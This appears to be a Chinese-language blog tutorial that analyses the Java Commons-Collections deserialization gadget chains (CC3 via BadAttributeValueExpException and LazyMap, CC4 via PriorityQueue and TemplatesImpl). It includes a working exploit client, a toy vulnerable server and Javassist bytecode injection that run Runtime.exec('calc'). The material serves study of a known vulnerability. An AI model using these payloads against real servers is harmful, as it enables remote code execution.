漫談Commons-Collections反序列化

前言

   如果你沒有反序列化的基礎,建議你看筆者博客文章先將基礎學習一下。如果你沒有學習分析過ysoserial--Gadget--URLDNS,建議你看筆者之前發過的文章學習一下。如果你是大佬,前面當筆者沒說。
   Java的第一個反序列化漏洞就是從commons-collections組件中發現的,從此打開了Java安全的新藍圖。
官方對commons-collections組件的說明:The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
翻譯一下大概意思就是:Java commons-collections 框架是JDK 1.2之後中的一個重要補充。增加了許多強大的數據結構,加快了Java應用程序的開發。已經成爲Java中公認的集合處理標準。
   目前commons-collections的反序列化漏洞主要以3和4(版本)爲主流,3和4的利用方式也不同,Gadget鏈也不相同。

PS: 爲避免代碼太長而導致的閱讀效果,故將完整的實驗代碼全部已經上傳至 https://github.com/SummerSec/JavaLearnVulnerability


Commons-Collections3

   先看一下Gadget鏈,入口是上篇文章提及的。這裏的3是指版本號,筆者這裏只分析網上流傳的某一條利用鏈。BadAttributeValueExpException.readObject()類。

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

   試想一下先存在一個服務器,它正好存在使用commons-collections組件,沒有做任何的修復,存在漏洞。此時你是不是就能利用此漏洞呢?


模擬場景DEMO

創建模擬服務器應用

public class server {
    public static void main(String[] args) {
        // 模擬服務器端,接受反序列化數據
        try {
            ServerSocket serverSocket = new ServerSocket(6666);
            System.out.println("服務器監聽地址: " + serverSocket.getLocalSocketAddress());
            while (true){
                // 接受反序列化數據

                Socket socket = serverSocket.accept();
                System.out.println("與地址: " + socket.getInetAddress() + "連接!" );
                ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
                try {
                    // 讀取數據
                    Object ob = ois.readObject();
                    System.out.println("讀取數據完成!");
                    System.out.println(ob);

                } catch (ClassNotFoundException e) {
                    System.out.println("讀取數據失敗!");
                    e.printStackTrace();

                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

利用代碼

public class user {
    public static void main(String[] args) throws Exception {
        //目的服務器地址
        String tas = "127.0.0.1";
        // 端口
        int port = 6666;
        // payload
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}
                ,new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}
                ,new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer("66666!")

        };




        Transformer transformerChain = new ChainedTransformer(transformers);



        // 創建漏洞map Object
        Map inmap = new HashMap();
        Map lazymap = LazyMap.decorate(inmap,transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");



        // 創建異常,在反序列化時觸發payload
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        try {
            Field field = expException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(expException, entry);
        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }


        // 發送payload
        Socket socket = new Socket(tas,port);
        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
        oos.writeObject(expException);
        oos.flush();


    }


}

漏洞效果

首先得讓模擬服務器在運行,然後發送payload即可。
在這裏插入圖片描述
在這裏插入圖片描述


漏洞分析

   分析必定要先斷點,這裏筆者將代碼修改了,便於分析。這裏就不再貼出,需要的可以去GitHub上自取,斷點直接設置在readObject方法。
溫馨提示:如果你用的是Idea工具,在Debug之前請查看自己Debugger設置,請和我一樣設置。爲什麼要這麼做可以參考:Skipped breakpoint because it happened inside debugger evaluation ,否則你可能出現很多bug。
在這裏插入圖片描述
在這裏插入圖片描述


漏洞觸發流程

  1. 一直跟進,到BadAttributeValueException.javareadObject方法。

在這裏插入圖片描述
2. toString方法會跳轉到TiedMapEntry的toString方法
在這裏插入圖片描述
3. 跟進getValue()方法
在這裏插入圖片描述
4. 跟進到get()方法,在get方法中,會判斷key是否存在。然後跳轉到transform(key),這裏的key是隨便填寫的,主要是transform方法是被修改過的,裏面有惡意payload。
在這裏插入圖片描述

在這裏插入圖片描述
5. 這裏是用Java的反射機制,建議去了解一下。推薦博文從安全角度談Java反射機制
在這裏插入圖片描述
在這裏插入圖片描述

https://blog-static.cnblogs.com/files/samny/serializable3.gif
   看完整個完整的過程,每一步都對應着文章開頭的Gadget chain。創建異常類BadAttributeValueExpException,以便於在反序列化時觸發payload。
在這裏插入圖片描述


漏洞成因分析

   過程看完了,但是我們還是無法理解爲什麼可以這麼構造,還是得一步步看POC源碼。我們一一對着官方文檔分析函數方法的具體作用。

  1. ChainedTransformer將一個個Transformer類數組按照順序一個個執行,前一個運行結果作爲第二個transform。
    在這裏插入圖片描述
  2. ConstantTransformer調用transform方法,返回類在實例化時存儲的類。
    在這裏插入圖片描述
  3. InvokerTransformer調用transform方法的時候,根據類在實例化時提供的參數,通過反射去調用對象的方法。InvokerTransformer第一個參數是方法名,第二個參數是參數類型,第三個參數是參數值。
public InvokerTransformer(java.lang.String methodName,
                          java.lang.Class[] paramTypes,
                          java.lang.Object[] args)

在這裏插入圖片描述
   這是一段反射執行命令的代碼,這段執行的效果完全等效於transformers[]數組,下面兩張圖片可以完美的詮釋。

	Class cls = Class.forName("java.lang.Runtime");
            //實例化對象
           Object ob = cls.getMethod("getRuntime",null).invoke(null,null);
            // 反射調用執行命令
            cls.getMethod("exec", String.class).invoke(ob,"calc");

在這裏插入圖片描述

在這裏插入圖片描述


   創建一個HashMap,使用LazyMap.decorate()方法傳入HashMap和Transformer數組。其中數組是我們構造的payload,最後使用TiedMapEntry傳入一個key。其實也可以這樣子lazymap.get("Summer")也可以傳入key,這樣子會在序列化過程就將key寫入,而在反序列化的時候不會調用LazyMap.get()方法,判斷key是否存在。不存在則會調用this.factory.transform(key);方法,進而觸發反序列化漏洞。所以很顯然這種方法不可取,只能通過修改底層的方式,加入key值,以便於在反序列化的時候觸發漏洞,並同時確保在序列化的過程不會觸發漏洞。

		Map inmap = new HashMap();
        Map lazymap = LazyMap.decorate(inmap,transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");

在這裏插入圖片描述
   到目前爲止,並沒有觸發反序列化漏洞的入口。而BadAttributeValueExpException這個類是javax.management報下的一個類,是jdk自帶的,無需依賴第三方。它繼承了Serializable接口滿足反序列化漏洞的條件,它只有一個值權限是private不可修改,但利用反射機制修改其值來到達觸發反序列化漏洞的目的。

 BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        try {
            Field field = expException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(expException, entry);

        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }

小結

   反序列化利用點是使用LazyMap在獲取key值的時候,使其key不存在,然後再獲取key的時候觸發漏洞。但需要有一個入口,這裏的反序列化觸發的入口是JDK自帶的BadAttributeValueExpException類。有幾個點不得不服大佬們的厲害之處,第一點是找到反序列化的入口BadAttributeValueExpException,這個類得滿足反序列化的基本條件,還得是JDK自帶或者是組件自帶的。第二點是使用LazyMap的key爲空來觸發反序列化漏洞。
在這裏插入圖片描述


Commons-Collections4

先看一下Gadget鏈,入口是JDK自帶的PriorityQueue.readObject()

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        Runtime.exec()

   斷點擼碼,斷點的位置對於新手可能有點不知道該從何下手,其實掌握一點,看入口,反序列化的入口。Commons-Collections4這裏的入口時PriorityQueue.readObject()方法,這時你可以雙擊Shift,找到該類在readObject下斷點。
在這裏插入圖片描述
   去掉註釋,也就省這麼幾行代碼。自己結合官方文檔分析一下就知道該斷在哪裏,如果你在知道具體步驟,你可以將每一行都設置個斷點進行分析。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        s.readInt();
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }

漏洞分析

漏洞觸發流程

  1. 從ObjectInputStream.readObject()->PriorityQueue.readObject()->heapify()方法
    在這裏插入圖片描述
  2. 接着會執行heapify()->sifrDown()
    在這裏插入圖片描述
  3. sifrDown()->comparator不爲空進入siftDownUsingComparator()方法
    在這裏插入圖片描述
  4. if判斷是否<=0是觸發漏洞
    在這裏插入圖片描述
  5. compare方法會執行transformer的transform方法,而transform通過反射機制被修改過,最後會導致反序列化漏洞。
    在這裏插入圖片描述
    在這裏插入圖片描述

漏洞成因分析

完整的實驗代碼地址https://github.com/SummerSec/JavaLearnVulnerability/blob/master/vuldemo/src/main/java/vul/ccbug/CC4_1.java
   Javaassist被廣泛用於修改字節碼的工具包,而此gadget chain中使用修改字節碼的形式觸發漏洞。一個 CtClass (編譯時類)對象可以處理一個 class 文件,ClassPool 是 CtClass 對象的容器。

		// 獲取默認系統類搜索路徑
		ClassPool pool = ClassPool.getDefault();
		// 添加額外的類搜索路徑
        pool.insertClassPath(new ClassClassPath(Payload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        // 獲取我們惡意payload的對象
        final CtClass clazz = pool.get(Payload.class.getName());

   修改好字節碼後,在通過一系列的反射方法,將構造好的字節加入tamplates中,在反序列化的過程觸發漏洞。反射這裏就不過多的解釋,如果不懂可以看筆者往期的博文。

        // 靜態初始化時插入執行命令的字節碼
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        clazz.makeClassInitializer().insertAfter(cmd);
		// 將初始化後的類設置新的名字
        clazz.setName("Summer" + System.nanoTime());
        // 設置父類爲AbstractTranslet
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
		// 獲取修改後的字節碼
        final byte[] classBytes = clazz.toBytecode();

   其實將第二個佔位只要是Object的類型對象就可以,比例可以是tpl.newInstace()

		// 這裏queue要佔兩個位,比較方法是要兩個才能比較
        // 兩個位的都要是一個類型,這裏都是Object
        queue.add(templates);
        queue.add(new VerifyError("Summer"));

  修改字節碼之後我們再看看newTransformer()–>TemplatesImpl.getTransletInstance() 方法。
在這裏插入圖片描述
   getTransletInstance()–>defineTransletClasses(),這裏會返回一個定義主類的類對象的引用。
在這裏插入圖片描述
   最後在這裏的強制類型轉化觸發漏洞,到達執行命令的效果。
在這裏插入圖片描述
在這裏插入圖片描述


小結

   PriorityQueue原本只是個優先隊列,TemplatesImpl原本只是在xalan中的處理xml的模板實現,但是經過大佬之手二者結合產生巨大效果。吾不敢不服,下面只想用一圖展現筆者對此gadget的思考。
在這裏插入圖片描述


總結

   看完其實不難發現,Java反序列化漏洞必然離不開Java的反射機制的作用。這種都是底層的Java語言的開發者所想到便於開發的機制,下圖是oracle官方給出的圖例,筆者覺得如果想要打開一個新方向必然會用到一種“新”機制,這種機制應該還是開發人員經常使用的。
在這裏插入圖片描述
   一個新的Gadget的產生構造筆者有幾點愚見,如有錯誤還望海涵。

  1. 一個JDK自帶的實現Serializabe接口
  2. 必然離不開Java反射機制
  3. readObject()方法

參考

https://tool.oschina.net/apidocs/apidoc?api=commons-collections
https://paper.seebug.org/1195/
http://blog.orleven.com/2017/11/11/java-deserialize/
https://xz.aliyun.com/t/7031#toc-5
https://blog.csdn.net/chenwan8737/article/details/100716015
https://blog.csdn.net/weixin_33802505/article/details/92214760
https://blog.csdn.net/21aspnet/article/details/81671777
https://xalan.apache.org/xalan-j/apidocs/index.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章